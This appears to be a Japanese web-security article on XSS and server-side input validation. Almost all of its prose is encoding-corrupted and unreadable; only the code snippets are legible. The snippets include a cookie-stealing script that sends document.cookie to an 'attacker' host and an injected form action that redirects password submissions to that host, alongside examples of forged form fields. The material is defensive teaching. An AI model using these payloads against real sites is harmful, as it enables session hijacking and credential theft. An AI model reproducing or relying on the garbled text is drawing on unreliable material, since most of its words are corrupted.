�@�O���ł́AWeb�A�v���P�[�V�����ɐ��ރZ�L�����e�B�z�[���A�u�N���X�T�C�g�X�N���v�e�B���O�iXSS�j�v�Ƃ͂ǂ̂悤�ȐƎ㐫�ł���̂��ɂ��ďq�ׂ��B���E��҂ł͋N���蓾���Q�ɂ��ĂƁA�ǂ̂悤�ɑ������悢�̂���������Ă����B
�@XSS�̃Z�L�����e�B�z�[��������ƁA�U���҂͂�����_�����U�������邾�낤�B�������U���Ƃ����Ă��A�Z�L�����e�B�z�[��������Web�T�C�g�ɑ���U���ł͂Ȃ��A����Web�T�C�g�̗��p�҂ɑ���U���ƂȂ�B
�@�܂����[�U�[�ɑ���U���Ƃ����Ƃ��܂܂łɂ��A���ӂ̂���X�N���v�g���d�|����ꂽ�i�U���҂́jWeb�T�C�g�ɃA�N�Z�X�������[�U�[����Q����Ƃ������̂��������BXSS�𗘗p�����U�����A�U���҂�Web�T�C�g�Ƀ��[�U�[���A�N�Z�X���Ĕ�Q���N����Ƃ����_�͕ς��Ȃ����A�d���܂�Ă���X�N���v�g���ǂ����瑗���Ă���̂����Ⴄ���߂ɁA�قȂ��Q���������邱�ƂɂȂ�B
�@�}1�ɂ����āA�X�N���v�g�����s�����̂�6�̒i�K�ł��邪�A���̃y�[�W���ǂ��Ő������ꑗ�M����Ă��邩�Ƃ����ƁAXSS�̃Z�L�����e�B�z�[��������u�Ǝ�T�C�g�v�Ƃ������ƂɂȂ�B�܂藘�p�҂��炷��ƁA�Ǝ�T�C�g���瑗���Ă����X�N���v�g���u���E�U��Ŏ��s����邱�ƂɂȂ�A���p�҂����ړI�Ȕ�Q���邱�ƂɂȂ�B
�@�X�N���v�g����A�N�Z�X�ł�����͈̔͂́A���̃X�N���v�g���܂y�[�W���Ɍ�����B�Ⴆ�A�U���҂̃T�C�g�ihttp://attacker/cookie.html�j�Ɏ��̂悤��cookie�ɃA�N�Z�X����X�N���v�g���������Ƃ���B
<script> alert�idocument.cookie�j; </script>
�@���̃X�N���v�g���A�N�Z�X�ł���cookie�́A�X�N���v�g�������Ă����y�[�W�A�܂�http://attacker/cookie.html�ɋN������cookie�����ł���B���T�C�g�Ŕ��s����Ă���cookie�ɃA�N�Z�X���邱�Ƃ͂ł��Ȃ��B
�@������XSS�̃Z�L�����e�B�z�[��������ƁA���̂悤�ȃX�N���v�g���܂y�[�W���Ǝ�T�C�g���瑗���Ă��邱�ƂɂȂ�B����āA���̃X�N���v�g���A�N�Z�X�ł���cookie�́A�Ǝ�T�C�g�Ŕ��s���ꂽcookie�ƂȂ�B
�@���̓���̈Ⴂ�ɂ��A�P�ɍU���҂̗p�ӂ������ӂ̂���X�N���v�g�����s���ꂽ�ꍇ�Ƃ͈قȂ��Q����������B���̎�Ȕ�Q�����ɋ�����B
�@���ꂪXSS�̔�Q�Ƃ��Ă͈�ʂɍL���m���Ă���B�udocument.location="http://attacker/cookie.cgi?cookie="+document.cookie;�v�Ƃ����X�N���v�g�����s�����ƁA�U���҃T�C�g��cookie.cgi�Ƀ��[�U�[��cookie���܂`�ŃA�N�Z�X���邱�ƂɂȂ�B�U���҃T�C�g��Web�T�[�o�̃��O�ɂ��c�邾�낤���Acookie�f�[�^����CGI�ł͂ǂ�ȏ����ł��ł��邱�ƂɂȂ�B
�@����ɁAcookie���L�^��Ɍ��̃y�[�W��\������悤�Ȏd�|�����U���҂��p�ӂ��Ă���A���[�U�[��cookie�����܂ꂽ���Ƃɂ����C���t���Ȃ��ł��낤�B
�@�������A�P��cookie�����܂ꂽ�����ł͂قƂ�ǔ�Q�͋N���Ȃ��B��Q���N����̂́A����cookie�̒��Ɋ܂܂����̓��e�ɖ�肪��������Acookie�̎g�����ɖ�肪����Web�A�v���P�[�V�������g�p���Ă���ꍇ���B
�@cookie�Ɋ܂܂�Ă�����ɖ�肪�����Ƃ��āA�T�C�g�Ƀ��O�C�����邽�߂̃��[�U�[ID�ƃp�X���[�h��ۑ����Ă���Web�A�v���P�[�V����������Ƃ���B����cookie�𓐂܂�Ă��܂��ƁA�U���҂����l�ɂȂ肷�܂��ă��O�C�����邱�Ƃ��ł��Ă��܂����ƂɂȂ�B
�@cookie�Ɍl�����܂܂��A�Z�b�V����ID�̂悤�ȏ�����i�[���Ă���ꍇ�ł��Acookie�̃Z�b�V����ID�����Ń��[�U�[�F���s���Ă���ꍇ�͊댯�ł���B���܂ꂽ�icookie�Ɋ܂܂�Ă���j�Z�b�V����ID���U���҂��g���ƁA���K�̃��[�U�[�̃Z�b�V�����������邱�Ƃ��ł���B�Z�b�V�������������Ă��܂��ƁA���K�̃��[�U�[���s���邱�Ƃ����ׂčU���҂ɂ���čs���Ă��܂����ƂɂȂ�B
�@�X�N���v�g�̎��s�����ɒ��ӂ��Ă���悢���Ƃ����Ƃ��������킯�ł͂Ȃ��B
�@<script></script>�̑����<img>�̂悤�ȉ摜��\��������^�O���}�������ƁA�{���̃y�[�W�Ƃ͂܂������W�̂Ȃ��摜���\������邱�ƂɂȂ邾�낤�B�C�ӂ̃^�O���g����悤�ł���A�y�[�W�̈ꕔ��ύX�������̂����[�U�[�Ɍ����邱�Ƃ��A�u�|�Y���܂����v�Ƃ����悤�Ȉꕶ���������{���̃g�b�v�y�[�W�ɂ悭�����y�[�W����邱�Ƃ��\�ɂȂ�B��������ĐM���Ă��܂��l�����Ȃ��Ȃ����낤�B���̌��ʁA�₢���킹���E��������A�������\�����Ă��܂�����Ƃ�����2���I�Ȕ�Q���N���邱�Ƃ��\���l������B
�@����ɁA�t�H�[���̑��M���ς��邱�Ƃ��ł���B���[�U�[���͂������̏ꍇ�ɁA
<form action="regist.cgi">
<input type="hidden" name="sample" value="����">
�p�X���[�h: <input type="text" name="name" value="password">
<input type="submit">
</form>
�Əo�͂���y�[�W�ɑ��āA�u"></form><form action="http://attacker/regist.cgi�v�Ɠ��͂���Ă��܂��ƁA���ʓI�ɏo�͂����y�[�W�́A
<form action="regist.cgi">
<input type="hidden" name="sample" value=""></form><form action="http://attacker/regist.cgi">
�p�X���[�h: <input type="text" name="name" value="password">
<input type="submit">
</form>
�ƂȂ�A���[�U�[�������̓��͂����đ��M����Ƃ��̓��e���U���҂̃T�C�g�֑��M�����悤�ȃy�[�W����邱�Ƃ��\�ł���B
�@HTTP�����HTML���ɂ����āA���ʂȈӖ����������Ƃ��Ē�`����Ă��镶��������������B�L���ȂƂ���Łu<�v�Ɓu>�v�́AHTML�̍\�����L�q���邽�߂̃^�O�̊J�n�ƏI����\�����߂̋�蕶���Ƃ��Ďg�p����A�Ƃ������ʂȈӖ��������Ă���B
�@�����̓��ꕶ����HTML�������ɋL�q����K�v������ꍇ�́A�K�ȕ��@�ŕϊ����Ȃ���Ȃ�Ȃ��BXSS�̐Ǝ㐫�̂���Web�A�v���P�[�V�����̂قƂ�ǂ́A�����̓��ꕶ���̑��݂��ӎ����Ȃ��ō���Ă��܂��Ă��錇�׃v���O�����ł���B���̑����@���悭�ǂ݁A���׃v���O���������Ȃ��悤�ɂ��Ă������������B
�@�A�v���P�[�V�����́A���͒l�����A������������A�o�͂���A�Ƃ����ɂ߂ĒP���ȗ���̑g�ݍ��킹�ō���Ă��邾�낤�B
�@XSS�����ɂȂ�̂́A�u�u���E�U�ɏo�͂���v�����̕����Ńv���O�����~�X������ꍇ�ɋN����B���̕����Łu<�v�Ɓu>�v�Ȃǂ̓��ꕶ�����T�j�^�C�W���O�i���Q���F�ڍׂ���������j��������̂����A������Ƒ҂��Ăق����B�����������ꕶ�����t����K�v������̂��ǂ������悭�l����K�v������B
�@XSS��̍ŏ��̈���́A�u���̓`�F�b�N�v�ł���B���̌�A���̓`�F�b�N�ɘR�ꂽ���ꕶ�����A�o�͂̒��O�ɏ�������A�Ƃ�������ɂȂ�B
�@���̓`�F�b�N�𐳂����s�����Ƃɂ���āA�uOS�R�}���h�C���W�F�N�V�����v�uSQL�C���W�F�N�V�����v�u�o�b�t�@�I�[�o�[�t���[�v�Ƃ�����XSS�ȊO�̃Z�L�����e�B�z�[���̑�ƂȂ�ꍇ���قƂ�ǂł���B���ɈӖ��̂���v���Z�X�Ȃ̂ŁA�m���ɍs���Ăق����B
��OS�R�}���h�C���W�F�N�V����
���N�G�X�g��OS�R�}���h���C���W�F�N�V�����i�������ށj���A�T�[�o��ŔC�ӂ�OS�R�}���h�����s������U���B�T�[�o�̃p�X���[�h�t�@�C���̒D��AWeb�y�[�W�̉�����A�Ǘ��Ҍ����̒D��Ȃǂ��s���Ă��܂����ꂪ����B
��SQL�C���W�F�N�V����
���N�G�X�g�� SQL �R�}���h���C���W�F�N�V�������A�C�ӂ�SQL�R�}���h�����s������U���B����ɂ��f�[�^�x�[�X�Ɋi�[����Ă���f�[�^�̎Q�ƁA�f�[�^�̑���A�X�g�A�h�v���V�[�W���ւ̕s���ȃA�N�Z�X�A�O���v���O�����̕s���ȌĂяo�����ł��Ă��܂����ꂪ����B
�@���̂悤�ȗX�֔ԍ��̓��͗�������ꍇ���l����B
�@�������̂Ƃ�����{�̗X�֔ԍ��ɂ́A
�Ƃ������[��������B����āA�A���t�@�x�b�g��L���Ȃǐ����ȊO�̕����₱������������������͂���Ă���ꍇ�́A�s���ȓ��͂��s��ꂽ�Ƃ��ď�������K�v�����邾�낤�B�X�֔ԍ��Ɍ��炸�A���ꂼ��̃p�����[�^�ɂ͓��͒l�Ƃ��ċ�����l�����܂��Ă���͂��ł���̂ŁA����������O�ɂ悭�l���Ăق����B
�@�����s���Ȓl�����͂��ꂽ�ꍇ�A�Z�L�����e�B�ȑO�̖��Ƃ��ăA�v���P�[�V�������듮�삵�Ă��܂����Ƃɂ��Ȃ肩�˂Ȃ��B�s���Ȓl�����͂��ꂽ��ē��͂𑣂��Ȃǂ̃G���[�������s���悢�����Ȃ̂����A���ꂳ�����s���Ă��Ȃ�Web�A�v���P�[�V���������ɑ���������B�����̂��Ƃ͊�{���̊�{�ł���̂ŁA�m���ɍs���Ăق����B
�@���̓`�F�b�N�́A�T�[�o���ł��ׂẴp�����[�^�ɂ��Ė���K���s���K�v������B�Ȃ������悤�Șb���܂��o�Ă��邩�Ƃ����ƁA���̓`�F�b�N����������ɂȂ��Ă��邾���Ō��ʂ̂Ȃ����������Ă���P�[�X�����X���邩��ł���B�����ł̃|�C���g��3����B
�@JavaScript�œ��̓`�F�b�N�����Ă���y�[�W�ɏo�������Ƃ�����B�X�֔ԍ����ɃA���t�@�x�b�g����͂���ƁA�ē��͂���悤�Ƀ��b�Z�[�W���o�Ă���i�}4�j�B
�@���ꂾ���ŗX�֔ԍ����̓��̓`�F�b�N�����A�Ƃ���̂͊ԈႢ�ł���̂Œ��ӂ��Ȃ���Ȃ�Ȃ��B�Ⴆ�AJavaScript�̎��s��Off�ɂ��Ă��郆�[�U�[�͂ǂ����낤���BJavaScript�ɂ����̓`�F�b�N������Ȃ��̂ŁA�s���Ȓl���T�[�o�ɑ��M����邱�ƂɂȂ�B
�@�܂��A���̓t�H�[�����U���҂��p�ӂ��Ă��Ă�������A�N�Z�X����Ă��܂��ƁAJavaScript�ɂ��`�F�b�N�͂܂������@�\���Ȃ��BJavaScript�Ȃǂɂ��N���C�A���g���̓��̓`�F�b�N�́A���[�U�[�̓��̓~�X�𐳂����ʂɂ��Ă͊��҂ł��邪�A�Z�L�����e�B�̌��ʂ͂܂������Ȃ��̂ŁA�N���C�A���g���`�F�b�N�̗L���ɂ�����炸�T�[�o���ł̃`�F�b�N�����邱�Ƃ�Y��Ă͂����Ȃ��B
�@�}5�̓��W�I�{�^�����g�����A�v���P�[�V�����̗�ł���B�N�����͂�3�̒�����D���ȃP�[�L�̎�ނ�I�����đ��M����B
<form method="POST" action="input.cgi"> �N�����͂��Ă�������: <input type="text" size="3">��<br> <p> �ǂ̃P�[�L����ԍD���ł����H<br> <input type="radio" name="cake" value="marron">�}�����P�[�L<br> <input type="radio" name="cake" value="crape">�N���[�v<br> <input type="radio" name="cake" value="chocolat">�`���R���[�g�P�[�L<br> <input type="submit" value="���M"> </form>
�@�N��̓��̓`�F�b�N�𐳂����s���������ł͕s�\���ł���B���̃y�[�W�ő��M�{�^���������ƁA�l�b�g���[�N��ł͈ȉ��̂悤�Ƀf�[�^�����M����Ă���B
POST /path/cake.cgi HTTP/1.0 �i�r���ȗ��j age=18&cake=marron
�@�����ɂ̓��W�I�{�^������I�����ꂽ���ǂ����̏��͂܂������܂܂�Ă��炸�A�p�����[�^���ƃp�����[�^�l������Ă��邾���ƂȂ�B�U���҂͎��̂悤�ɁA���W�I�{�^���̑���ɔN��Ɠ��l�̃e�L�X�g�{�b�N�X�ɂ����y�[�W��p�ӂ���B
<form method="POST" action="http://www.example.com/input.cgi"> �N�����͂��Ă�������: <input type="text" size="3">��<br> �ǂ̃P�[�L����ԍD���ł����H <input type="text" name="cake" value="�C�`�S�V���[�g"><br> <input type="submit" value="���M"> </form>
�@��������f�[�^�𑗐M����A�I�����ڂƂ��đ��݂��Ȃ��P�[�L��I���ł��邱�ƂɂȂ�B
POST /path/cake.cgi HTTP/1.0 �i�r���ȗ��j age=18&cake=�C�`�S�V���[�g
�@���W�I�{�^���̂ق��ɂ��Z���N�g�{�b�N�X�A�`�F�b�N�{�b�N�X�AHidden�t�B�[���h�ACookie�̒l�ȂǁA�ꌩ����ꂽ��ނ̒l�����������͂���Ȃ��悤�Ɏv������̂����邪�A���l�̎�@�ɂ��C�ӂ̒l����͂����\��������B
�@����āA���ׂẴp�����[�^�ɑ��ĖY�ꂸ�ɓ��̓`�F�b�N�����Ȃ���Ȃ�Ȃ��B���̗�̏ꍇ�ł���A�gcake�p�����[�^�́Amarron��crape��chocolate�̂ǂꂩ�łȂ�������Ȃ��h�Ƃ����g�A�v���P�[�V�������ʂɌ��߂Ă��郋�[���h�����邱�ƂɂȂ�B
�@��K�͂ȉ���t�H�[���ȂǁA�����̃y�[�W�ɓn���ă��[�U�[�ɓ��͂�������V�X�e��������B
�@�Ⴆ�A
�i1�j ���O�A�d�b�ԍ��A�X�֔ԍ��̓��̓y�[�W
�@�@�@�@��
�i2�j �Z���̓��̓y�[�W
�@�@�@�@��
�i3�j ���劮��
�@���������V�X�e���̃A�v���P�[�V�����ɂ悭������̂��A�i2�j�Z�����̓y�[�W��Hidden�t�B�[���h�ɖ��O�A�d�b�ԍ��A�X�֔ԍ����B���Ă����A�Ƃ������@���B���Ƀ��[�U�[���Z������͂��đ��M����ƁA���O�A�d�b�ԍ��A�X�֔ԍ��A�Z�����ׂĂ����M�����B
<form method="POST" action="input3.cgi"> ����: �����T<br> �d�b�ԍ�: 03-5641-****<br> �X�֔ԍ�: 103-****<br> �Z��: �����s��������{���l�`�������� <input type="text" name="address2"><br> <input type="hidden" name="name" value="����"> <input type="hidden" name="tel" value="03-5641-****"> <input type="hidden" name="postal" value="103-****"> <input type="hidden" name="address1" value="�����s��������{���l�`��������"> <input type="submit" value="���M"> </form>
�@�����œ��̓`�F�b�N��Y��Ă��邱�Ƃ������B�m���ɁAHidden�t�B�[���h�ɏ�����Ă��閼�O�A�d�b�ԍ��A�X�֔ԍ��́A�i2�j�̒i�K�Ń`�F�b�N�ς݂̒l�ł���B
�@�������O���Ő��������悤��Hidden�t�B�[���h�̒l�͊ȒP�ɏ��������邱�Ƃ��ł���B���̂��߁i2�j�Ń`�F�b�N�����l�����̂܂܁i3�j�ɑ��M����Ă���Ƃ����ۏ�͂܂������Ȃ��B
�@����āi3�j�ł͐V���ȏZ���̓��̓`�F�b�N�ɉ����A�i2�j�Ń`�F�b�N�������O�E�d�b�ԍ��E�X�֔ԍ��̍��ڂɂ��Ă��ēx���̓`�F�b�N���s��Ȃ���Ȃ�Ȃ��B���ꂪ���Ȃ�AHidden�͎g�킸�ɃT�[�o���̃f�[�^�x�[�X��t�@�C���ȂǂɈꎞ�ۑ�������@�����Ȃ����낤�B
�@����́AXSS��Ƃ��Č����Ƃ������ȁu���̓`�F�b�N�v���d�v�ł��邱�Ƃ���������B����́A���ꕶ���̃T�j�^�C�W���O�𒆐S�ɁA�Z�L�����e�B�z�[���ւ̑�ɂ��ĉ�����s���Ă����B
���� �T�i������ �䂽���j
�O�䕨�Y�������GTI�v���W�F�N�g�Z���^�Ζ��B�Z�L�����e�B�R���T���^���g�Ƃ��āA�s���A�N�Z�X�Ď���Z�L�����e�B���� �Ȃǂɏ]�����Ă���B���Z�@�ցA�������A��萻���ƂȂǂւ̃Z�L�����e�B�V �X�e���̓����A�Z�L�����e�B�����Ȃǂ̎��т����B
�O�䕨�Y�������GTI�v���W�F�N�g�Z���^�i���F�O�䕨�Y�Z�L���A�f�B���N�V������������j
��ɁA�s���A�N�Z�X�Ď��T�[�r�X�A�Z�L�����e�B�����A�Z�L�����e�B�|���V�[����x���Ȃǂ̃T�[�r�X���Ă���B�܂��A�Z�L�����e�B�Ɋւ��鋳��T�[�r�X�����{���B
Copyright © ITmedia, Inc. All Rights Reserved.